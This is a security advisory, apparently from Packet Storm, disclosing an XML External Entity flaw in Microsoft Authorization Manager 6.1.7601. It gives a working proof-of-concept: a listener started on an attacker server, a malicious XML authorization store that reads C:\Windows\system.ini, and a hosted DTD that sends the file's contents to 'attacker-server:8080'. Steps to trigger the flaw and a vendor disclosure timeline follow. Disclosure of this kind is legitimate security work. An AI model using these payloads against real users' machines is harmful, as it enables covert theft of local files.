Microsoft Authorization Manager 6.1.7601 XXE Injection

Type packetstorm
Reporter hyp3rlinx
Modified 2016-12-05T00:00:00


                                            `[+] Credits: John Page aka hyp3rlinx  
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[+] Source:  
[+] ISR: ApparitionSec  
Microsoft Authorization Manager  
The Authorization Manager allows you to set role-based permissions for  
Authorization Manager-enabled applications.  
You can store authorization stores in either XML files, Active Directory  
Domain Services (AD DS), Active Directory Lightweight Directory  
Services (AD LDS), or in Microsoft SQL Server databases.  
Vulnerability Type:  
XML External Entity  
CVE Reference:  
Vulnerability Details:  
"msxml3.dll" DLL is used by "Microsoft Management Console" azman.msc /  
eventvwr.msc and other Windows components to process XML files.  
The parser processes XML External Entity nodes allowing external  
connections to be made to remote malicious DTD documents that can  
allow access to files on users system to be exfiltrated to a remote server.  
Therefore the XML parser is vulnerable to XXE attack if a user  
unknowingly opens a malicious XML 'authorization store' document via remote  
share/USB into 'Authorization Manager'.  
Exploit code(s):  
Start our listener on attacker server to access users files.  
python -m SimpleHTTPServer 8080  
Create the evil XML file with following payload to steal "system.ini" as  
data theft POC.  
<?xml version="1.0"?>  
<!DOCTYPE roottag [  
<!ENTITY % file SYSTEM "C:\Windows\system.ini">  
<!ENTITY % dtd SYSTEM "http://attacker-server:8080/payload.dtd">  
Next, create the "payload.dtd" DTD document to host on attacker server.  
<?xml version="1.0" encoding="UTF-8"?>  
<!ENTITY % all "<!ENTITY send SYSTEM 'http://attacker-server:8080?%file;'>">  
1) Go to Windows CL and type azman to bring up Authorization Manager  
2) Go to Action / "Open Authorization store..."  
3) Select authorization store type to be 'XML file'  
4) Browse to open the "PWN.XML" authorization store file and click Ok  
User will see error message "Cannot open the authorization store. The  
following problem occurred: An attempt was made  
to load a program with an incorrect format."  
Result: files delivered to your server!  
Disclosure Timeline:  
Vendor Notification: August 30, 2016  
Vendor Reply: August 30, 2016  
does not meet the bar for servicing as someone would have to  
obtain the XML from an untrusted source or compromised source"  
December 4, 2016 : Public Disclosure  
Exploitation Technique:  
Local / Remote  
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